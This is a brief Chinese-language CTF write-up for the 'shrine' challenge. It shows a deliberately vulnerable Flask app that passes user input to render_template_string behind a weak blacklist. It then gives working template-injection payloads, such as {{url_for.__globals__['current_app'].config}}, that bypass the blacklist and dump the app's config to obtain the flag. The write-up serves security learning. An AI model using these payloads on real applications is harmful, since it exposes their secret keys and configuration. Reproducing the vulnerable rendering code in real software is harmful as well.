[WesternCTF2018]shrine 1


1.介绍

1.1ssti

1.2黑名单绕过

2.步骤

2.1查看源代码,使用了python的flask模板,开始代码审计。

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG') #注册了一个名为FLAG的config,这里基本可以确定是flag。


@app.route('/')
def index():
    return open(__file__).read()    #这个类的作用很简单,当访问/路径时就用来阅读文件内容


@app.route('/shrine/')
def shrine(shrine):   

    def safe_jinja(s):   #jinja模板
        s = s.replace('(', '').replace(')', '')  
        blacklist = ['config', 'self']   #设置黑名单
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s   把黑名单的东西遍历并设为空

    return flask.render_template_string(safe_jinja(shrine))  进行模块渲染


if __name__ == '__main__':
    app.run(debug=True)

发现注册了一个名为FLAG的config,这里可能有flag,

存在flask-jinja2模板注入,

并且存在黑名单过虑。

2.2输入shrine/{{7*7}}验证成功

2.3通过url_for()与globals()函数,绕过黑名单。

/shrine/{{url_for.__globals__}}

发现了current_app()函数

 2.4查看这个里面的config。

/shrine/{{url_for.__globals__['current_app'].config}}

 得到flag

3.借鉴

https://www.programminghunter.com/article/6604741766/

https://www.codenong.com/cs105811990/

https://www.jianshu.com/p/413a49db21f5

https://www.cnblogs.com/Cl0ud/p/12316287.html 

相关